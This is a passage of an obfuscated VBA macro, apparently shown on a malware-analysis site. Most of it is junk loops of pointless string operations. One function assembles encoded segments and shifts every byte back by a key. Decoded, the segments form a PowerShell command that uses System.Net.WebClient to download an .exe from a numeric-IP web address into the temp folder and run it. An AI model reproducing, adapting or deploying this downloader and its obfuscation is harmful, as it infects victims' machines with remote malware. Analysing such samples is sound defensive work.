        DSjODkPF = RTrim("lylQEgerQtqXd LeW")
        sGaojvi = UCase("CBICpphiIbSXliE")
        nQjuFfC = Replace("eVeVTZVscgolJ", "eVeV", "FRpto")
        iPbRwIMVM = Mid("bBglPlcUpprJhf", 2, 5)
        UxEUhQZ = StrReverse("CjBIrGtZBYixXA")
        AslYe = RTrim("GWsUAWMKBvwgO")
        i oFA = Replace("evRrAIoIUywfppCGf", "evRr", "quHJ")
        mypBKB = LTrim("JZMOAfzcVnZzzloGd")
        qAXAD = Space(7)
    Next rUaKR

End Sub
Public Function utfkIyOxwR(BpAGI) As String
    For fnDcu = 0 To 180
        DwGi = StrReverse("pnlMQAAxmkaGoWBx")
        DwGi = StrReverse("HbUGgtqzSQ")
        DwGi = Replace("GuSTUQHmrYr", "GuST", "RTau")
        DwGi = Replace("PvKYAUapMab", "PvKY", "FLyVj")
                If 745952 = 2 - 6882 Then
            zvcfZ = Replace("xlvYhissvacQUqLqf", "xlvY", "fuTiOTa")
            zvcfZ = StrReverse("xlvYhissvacQUqLqf")
            End If
        DwGi = Replace("OPbKXIPfAwCFZED", "OPbK", "Kedzc")
        DwGi = StrReverse("ScDkwazoaDcezZmvLg")
        DwGi = Replace("wKOfnbqCSkfoaYIFSIP", "wKOf", "SisDp")
        DwGi = Replace("mLFJOpfMoPhUmS", "mLFJ", "csgm")
        DwGi = StrReverse("pxXDogGcDfQbhpFhmD")
                If 1560316 = 23 - 1275 Then
            mpwkJ = Replace("lSFPVdKPTYSHcdrKQ", "lSF", "biPj")
            mpwkJ = StrReverse("lSFPVdKPTYSHcdrKQ")
            End If
        DwGi = Replace("vQDtKzsiDsESS", "vQD", "JyonPc")
        DwGi = Replace("XBUGPwbphfWO", "XBU", "zkPammE")
        DwGi = Replace("FvoiWuCOxhxg", "Fvoi", "dbgDLD")
        DwGi = Replace("QycQFRPVYZpXXiSgry", "QycQ", "uLfcHd")
        DwGi = Replace("YKSjoelvKXlO", "YKS", "fLVmxn")
        DwGi = StrReverse("ScbgTyGiugwGins")
        DwGi = StrReverse("sUWprEFvHaBM")
                If 108522 = 145 - 6902 Then
            buGYs = Replace("rZegvOUYoJiqXATPi", "rZe", "BqfQvg")
            buGYs = StrReverse("rZegvOUYoJiqXATPi")
            rUCxe = Replace("RHfwxqkogeVmBXqYY", "RHf", "IAfEjEc")
            rUCxe = StrReverse("RHfwxqkogeVmBXqYY")
            End If
        DwGi = Replace("tXeceAGrEMhrmrg", "tXec", "fEbC")
        DwGi = Replace("DXcfZAEcMXvtBmYpiU", "DXc", "zrKS")
        DwGi = StrReverse("DIYLbdPfSTGLD")
        DwGi = Replace("gYYsJXBDDmZvV", "gYY", "MszOVW")
        DwGi = StrReverse("rvEqnHwFHzbuK")
        DwGi = Replace("TUArZOzdcd", "TUA", "alDHOWR")
    Next fnDcu
    For PPGrL = 0 To 349
                If 370565 = 233 - 62 Then
            sneaY = Replace("muAkEwEGxIuejpJgSh", "muAk", "wHPP")
            sneaY = StrReverse("muAkEwEGxIuejpJgSh")
            mqCoG = Replace("OWvpYiMVCU", "OWv", "RYnOHa")
            mqCoG = StrReverse("OWvpYiMVCU")
            End If
        XOjc = Replace("IozmyELqUrkWEBrg", "Iozm", "nFwieBb")
        XOjc = StrReverse("eaiCSGVczCaQIrB")
        XOjc = Replace("wIcwDcDVQOloqOBCZK", "wIc", "tIaglJ")
        XOjc = Replace("XoEWlFknXsU", "XoEW", "BXDC")
                If 1452363 = 64 - 3329 Then
            UsWnu = Replace("pEXHvYGDpwClEf", "pEXH", "YCAJ")
            UsWnu = StrReverse("pEXHvYGDpwClEf")
            End If
        XOjc = StrReverse("sVlxnDTOCGZmKxabY")
                If 1430309 = 169 - 6292 Then
            HSamw = Replace("wOiQuoWkOtjggKZBDU", "wOi", "qYfGGc")
            HSamw = StrReverse("wOiQuoWkOtjggKZBDU")
            POgcQ = Replace("gAnCridnPKbBGcyKE", "gAn", "RgDRq")
            POgcQ = StrReverse("gAnCridnPKbBGcyKE")
            End If
        XOjc = Replace("fLcWRdPZVCrPQLQ", "fLc", "LfMwlE")
        XOjc = StrReverse("EivACosWaPBYfjUPOBG")
        XOjc = StrReverse("nOPLHblIqVaKpHqjs")
        XOjc = Replace("BGacaPKRYLodtRxIP", "BGa", "fuRm")
        XOjc = StrReverse("OAiQtfTUHWOHDnGQd")
        XOjc = Replace("QwpZcjIgSKhLbIQthP", "QwpZ", "TMDKh")
        XOjc = Replace("jcEyjKUDxggYbC", "jcEy", "awkmO")
                If 3613198 = 206 - 6171 Then
            ormAt = Replace("tBRYGUmiQhGEtHcs", "tBR", "hKwf")
            ormAt = StrReverse("tBRYGUmiQhGEtHcs")
            BJHxA = Replace("VCieGruSllgbTdGgYXx", "VCi", "asjMKpE")
            BJHxA = StrReverse("VCieGruSllgbTdGgYXx")
            End If
                If 2534001 = 48 - 3035 Then
            khTiE = Replace("iYbrWgicIy", "iYbr", "vMjrjal")
            khTiE = StrReverse("iYbrWgicIy")
            End If
                If 2567674 = 51 - 8138 Then
            SqlxF = Replace("kxgACShRimoaLgrSb", "kxg", "ZLDBORX")
            SqlxF = StrReverse("kxgACShRimoaLgrSb")
            oGsJL = Replace("qfFOHWbHYTcQiBGX", "qfFO", "nlcrPf")
            oGsJL = StrReverse("qfFOHWbHYTcQiBGX")
            End If
        XOjc = Replace("eZnjfqJxfZJf", "eZn", "ATdgfLc")
        XOjc = Replace("uhTrDFlhSAeHkJWXAUa", "uhT", "CDlW")
        XOjc = Replace("JPYvyubrtdMVKDRJ", "JPYv", "ePFhvlD")
        XOjc = Replace("sSIbMrtxfT", "sSIb", "XBAJRD")
        XOjc = StrReverse("UMMHGPiDCOoxFlldK")
        XOjc = StrReverse("JjTDrzbRXQn")
        XOjc = StrReverse("bcQtZpjZrwxsfVuPmJ")
    Next PPGrL
    Yqd = Yqd & StrReverse(StrReverse("DrxGBVTtGXXCKRlhRikoYGedjrtwFSGBfshoonYnxfGTf{oqJDbrhYnjelsYGQXMp{BxFukrZQLJoHNbPzKbd"))
        If 183468 = 135 - 6396 Then
            udtka = Replace("WJWKYmpXbgExMczibMp", "WJWK", "TngHlz")
            udtka = StrReverse("WJWKYmpXbgExMczibMp")
            End If
    For eGqnE = 0 To 260
        Horc = Replace("cZvUvTCrUuErv", "cZvU", "nHiFmSC")
        Horc = Replace("CiuUJomzInJAkAjgnGR", "CiuU", "XjUw")
        Horc = StrReverse("UxtTmJQCzOTdcsQjRUs")
                If 1610114 = 88 - 4280 Then
            sDehe = Replace("lTlDXVpzyiZOFsYGKsb", "lTl", "KZJjAO")
            sDehe = StrReverse("lTlDXVpzyiZOFsYGKsb")
            End If
        Horc = StrReverse("JTHPXzKZALwGmGtoK")
        Horc = StrReverse("ChwvvVrbwCJZcOrcrQ")
        Horc = StrReverse("ASUixezLqmCMO")
        Horc = StrReverse("olfbrXkBcBrEtRM")
        Horc = Replace("mVRtBEEItV", "mVRt", "SLmLp")
        Horc = StrReverse("EuwsWxgKIqzoHUHvZ")
        Horc = Replace("JSOcUpbnHtVfbDylYZ", "JSO", "JTlnbj")
        Horc = StrReverse("nfhISYlKmSxI")
        Horc = Replace("kBsBpJEbzLlJpUr", "kBsB", "pRBurG")
                If 2261313 = 66 - 524 Then
            QQHMD = Replace("qJmZVIGBspqllvb", "qJmZ", "pwwpCp")
            QQHMD = StrReverse("qJmZVIGBspqllvb")
            End If
        Horc = Replace("GVRMUvuCipOEq", "GVRM", "Updg")
                If 106364 = 254 - 5647 Then
            okkrM = Replace("EgUMpmChVtoqPTHwx", "EgUM", "FJCybw")
            okkrM = StrReverse("EgUMpmChVtoqPTHwx")
            End If
                If 416707 = 123 - 6789 Then
            dvSrp = Replace("jBhHRgLSwEV", "jBh", "sYojaWE")
            dvSrp = StrReverse("jBhHRgLSwEV")
            End If
        Horc = Replace("zoencznjGLOsQmg", "zoen", "zcLCr")
        Horc = Replace("UEOkLkmmyOQv", "UEO", "TxkJ")
        Horc = StrReverse("TEMBSbkIHQpZE")
        Horc = Replace("XHnUnqVHeuKjwmcjodt", "XHnU", "SooTqzs")
                If 2336089 = 211 - 8124 Then
            UZZSi = Replace("AVQyjEVsrImzI", "AVQ", "JZJpfez")
            UZZSi = StrReverse("AVQyjEVsrImzI")
            End If
        Horc = Replace("YYRahSAYme", "YYR", "okKb")
        Horc = StrReverse("JuaXqhnYtzcYeGMhOC")
        Horc = StrReverse("yCdJOrEKXbBMS")
    Next eGqnE
    Yqd = Yqd & StrReverse(StrReverse("vBgpmhYdvBHnu[r}<*(fyf/cVKI](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)!iubqfmjG.!ttfdpsQ"))
CpWHC = StrReverse("CpysciZJeUVwlvil")
    For ZBauV = 0 To 245
        sVdC = StrReverse("laszqtvTPppgCsaJI")
        sVdC = StrReverse("XQnvXnbhufzaJnqF")
                If 3734631 = 206 - 6973 Then
            uDSwE = Replace("tzUdjHTvtjh", "tzU", "vRErd")
            uDSwE = StrReverse("tzUdjHTvtjh")
            End If
        sVdC = StrReverse("ibsEkGGsxYFZwtBt")
        sVdC = StrReverse("okTQjhOdMRK")
        sVdC = StrReverse("SsPiLgLpfuxDMEpp")
        sVdC = Replace("VAyXdEAYVzCwAcgRz", "VAy", "DEqiOfd")
        sVdC = Replace("bIERVPdbgaEKHGZ", "bIER", "JRJxb")
        sVdC = Replace("VJsmkcFmyCcFzY", "VJsm", "DUfSdi")
        sVdC = Replace("lPEygiLYyYsCOxmU", "lPE", "qHscHe")
        sVdC = StrReverse("loYmTteJsGuwIxMP")
        sVdC = StrReverse("nTnwKFjCgw")
        sVdC = StrReverse("DPqttoUUlSqbXZ")
        sVdC = Replace("hwVQAgURQYFRMv", "hwV", "EXou")
        sVdC = StrReverse("PXGXyWSJGFIwsVr")
        sVdC = Replace("CYvdmldCpoLOp", "CYv", "piHsfF")
                If 1923178 = 185 - 4594 Then
            ZaXMK = Replace("IlslwhzLWYpeuYizj", "Ilsl", "MEMhJq")
            ZaXMK = StrReverse("IlslwhzLWYpeuYizj")
            anHFi = Replace("PIHtWUSFLQAm", "PIH", "LCnZynP")
            anHFi = StrReverse("PIHtWUSFLQAm")
            End If
        sVdC = StrReverse("eQHVKxJLDZxGyBzRH")
                If 2450153 = 154 - 3618 Then
            HAbRF = Replace("GjXUjkSjpV", "GjX", "OaAHV")
            HAbRF = StrReverse("GjXUjkSjpV")
            HDzUx = Replace("veWaOoLZkVjJHFVwJtz", "veW", "GRwntl")
            HDzUx = StrReverse("veWaOoLZkVjJHFVwJtz")
            End If
        sVdC = Replace("iwQUsdqPWWs", "iwQ", "Mkhuc")
        sVdC = Replace("yUiOQRMnZTxePlievqg", "yUi", "GVeju")
        sVdC = StrReverse("IvYtWJzxjSzCVsmoflO")
        sVdC = StrReverse("IQzhkMasxWgA")
        sVdC = StrReverse("dZusZmbJrDqn")
                If 1817845 = 233 - 7812 Then
            XgFrI = Replace("lbotvJHweAcjSrZscs", "lbo", "EwhXX")
            XgFrI = StrReverse("lbotvJHweAcjSrZscs")
            ktDyQ = Replace("DbyJKjCFhHgSG", "DbyJ", "aFnu")
            ktDyQ = StrReverse("DbyJKjCFhHgSG")
            End If
    Next ZBauV
    Yqd = Yqd & StrReverse(StrReverse(".usbuT!2!x.!fyf/mmfitsfxpq<**(fyf/cVKI](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)-("))
CpWHC = Replace("UqOaZHBHfqsPi", "UqOa", "zxLqQ")
    For KsjHa = 0 To 44
                If 2340766 = 159 - 3451 Then
            naSjH = Replace("iEOhCoYpddarP", "iEOh", "ZWjmqxW")
            naSjH = StrReverse("iEOhCoYpddarP")
            End If
        wuxn = Replace("XLtbkhPcvC", "XLtb", "oqtLW")
        wuxn = StrReverse("xPhKHJogvzEbWbMFoIh")
        wuxn = Replace("doeynDlReCOQWXQkr", "doey", "nXBa")
        wuxn = StrReverse("nsdZBDsCXJQUnSK")
        wuxn = Replace("DaScBKucrOX", "DaS", "VfRCFkM")
        wuxn = Replace("VxodFiOIspUA", "Vxo", "FkHmeH")
        wuxn = Replace("SLYDGsajow", "SLY", "qufGFm")
        wuxn = StrReverse("JVPRjYkayshDpKEXUts")
        wuxn = StrReverse("HrsnXISHWvhHtMzdsUg")
                If 1641766 = 74 - 4892 Then
            KGezn = Replace("yjJHXnbAXF", "yjJH", "VnTROC")
            KGezn = StrReverse("yjJHXnbAXF")
            End If
        wuxn = Replace("qCpAunBPRFXIthMpusB", "qCpA", "tAtwMk")
        wuxn = Replace("fQzmKjWyhDZIOErLKI", "fQz", "aRFPBXF")
                If 3811413 = 229 - 3734 Then
            Xjztl = Replace("QIwbaiPjWaQb", "QIw", "Lauyy")
            Xjztl = StrReverse("QIwbaiPjWaQb")
            End If
        wuxn = Replace("kEKLbMpRWAgdvMOYDy", "kEK", "ybdU")
        wuxn = StrReverse("KHkOFhczRlIDITUa")
        wuxn = Replace("yOBlCiOvOZPdXcL", "yOB", "qQacy")
        wuxn = StrReverse("ACjYAbEYLtZCPBWJOez")
        wuxn = StrReverse("zeYcIyePQKB")
        wuxn = StrReverse("vfoVSXuTtSoaZqZM")
        wuxn = Replace("fZoQiycwVeMsVsI", "fZo", "DUctvXb")
                If 3351316 = 73 - 4289 Then
            aqFEo = Replace("mdSpAbiYqL", "mdS", "vdFzBQA")
            aqFEo = StrReverse("mdSpAbiYqL")
            End If
                If 2731482 = 70 - 2754 Then
            AuDZK = Replace("ThEEGMnsCxJKEeau", "ThEE", "imlPIIR")
            AuDZK = StrReverse("ThEEGMnsCxJKEeau")
            jUOLX = Replace("yJgyAwOksQIGbpPUVJ", "yJg", "XTVyfk")
            jUOLX = StrReverse("yJgyAwOksQIGbpPUVJ")
            End If
        wuxn = StrReverse("vnqGxXvnyiJgmmIP")
        wuxn = Replace("tRfnvgckuQVyDr", "tRf", "jZIp")
    Next KsjHa
    Yqd = Yqd & StrReverse(StrReverse("fyf/be0333/96/:92/69200;quui()fmjGebpmoxpE/*uofjmDcfX/ufO/nfutzT!udfkcP.xfO)!2!x.!fyf/mmfitsf"))
CpWHC = Replace("QbniSQQDuVEa", "Qbni", "WlGK")
    For VMIvi = 0 To 228
        WtUc = Replace("qWAtexEAoxTxQ", "qWA", "szwWw")
                If 1054188 = 90 - 6773 Then
            OLJqu = Replace("DkzllXBUZayL", "Dkz", "dpmfhc")
            OLJqu = StrReverse("DkzllXBUZayL")
            End If
        WtUc = Replace("UmTSTGKOFd", "UmTS", "UuKvZ")
        WtUc = Replace("gxYlpblMLWgVUXtymu", "gxYl", "lrWViKX")
        WtUc = Replace("sIxjCmkzmXnBMZT", "sIxj", "CRGR")
        WtUc = StrReverse("RyYABojkjYAtczSseeZ")
        WtUc = StrReverse("ICFvauttSTgYsOmFK")
        WtUc = Replace("vlJgirqWDs", "vlJg", "Gsuyjg")
        WtUc = Replace("ESJsXiWrJX", "ESJs", "eSii")
        WtUc = Replace("wMYLlDohbs", "wMY", "HZJjM")
                If 3150802 = 260 - 3438 Then
            ZnCMc = Replace("OmUskOIvYoObzWLUE", "OmU", "PZFGuyk")
            ZnCMc = StrReverse("OmUskOIvYoObzWLUE")
            WXDVa = Replace("PEimvbJOzZJ", "PEim", "bizclb")
            WXDVa = StrReverse("PEimvbJOzZJ")
            End If
        WtUc = Replace("ehIxepOCBesVl", "ehI", "IuIn")
        WtUc = StrReverse("DUCvGddEJOjZqlpX")
        WtUc = Replace("ceQCwuoBjkAkgpya", "ceQC", "iafqDm")
        WtUc = Replace("yhdvwonludPBLXRo", "yhd", "xoLQ")
                If 2866535 = 186 - 657 Then
            iGWWF = Replace("frmRrtAKGalgeosvP", "frmR", "GpKO")
            iGWWF = StrReverse("frmRrtAKGalgeosvP")
            pFXCx = Replace("aERxibplOnlblfYdSC", "aER", "ZIjKB")
            pFXCx = StrReverse("aERxibplOnlblfYdSC")
            End If
                If 2483608 = 46 - 3014 Then
            YVEEF = Replace("MDytZgsOlwXztif", "MDyt", "aMJpbZ")
            YVEEF = StrReverse("MDytZgsOlwXztif")
            End If
        WtUc = Replace("mRmMBYdqckLEPA", "mRmM", "mjjFTF")
        WtUc = Replace("TQsOKlLlwXnskyIa", "TQs", "MSTKz")
        WtUc = Replace("epQbyYVXiyGpBizd", "epQ", "PAFtAiO")
        WtUc = Replace("ZVpxwcAGoWDRkM", "ZVp", "iYwQt")
                If 3857683 = 62 - 358 Then
            dAMwC = Replace("jGoGgkrxISxuBlAB", "jGoG", "EWztcwo")
            dAMwC = StrReverse("jGoGgkrxISxuBlAB")
            vLuzs = Replace("TCBwaAfvOT", "TCB", "BWLpv")
            vLuzs = StrReverse("TCBwaAfvOT")
            End If
        WtUc = Replace("cykDccVRjjiiJWGnHuS", "cyk", "WwjqP")
                If 144964 = 174 - 5661 Then
            VYwoJ = Replace("nUlMXMjSGqKyMRp", "nUl", "EQAYA")
            VYwoJ = StrReverse("nUlMXMjSGqKyMRp")
            egQoP = Replace("ZIPTQjxohTL", "ZIP", "nSnem")
            egQoP = StrReverse("ZIPTQjxohTL")
            End If
                If 946673 = 132 - 3649 Then
            lRFZG = Replace("UZJUhTUTymYiGU", "UZJU", "TOQF")
            lRFZG = StrReverse("UZJUhTUTymYiGU")
            End If
    Next VMIvi
    Yqd = Yqd & StrReverse(StrReverse("xpq}[BoTe}VTHX"))
CpWHC = StrReverse("dpzRlmLcGnOLM")
    Dim Ride() As Byte
JetTb = StrReverse("hztGBQIMBKu")
    Ride = StrConv(Yqd, vbFromUnicode)
    While kLLd <= UBound(Ride)
        CpWHC = Replace("gyreyVnwur", "gyr", "edsOu")
        CpWHC = Replace("RzoUxernev", "Rzo", "tQVez")
        Ride(kLLd) = Ride(kLLd) - BpAGI
    kLLd = kLLd + 1
        CpWHC = Replace("awsyfOfgfY", "aws", "ffPpV")
        CpWHC = Replace("QPnWrMOqxk", "QPn", "pLOiF")
    Wend
    utfkIyOxwR = StrConv(Ride, vbUnicode)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.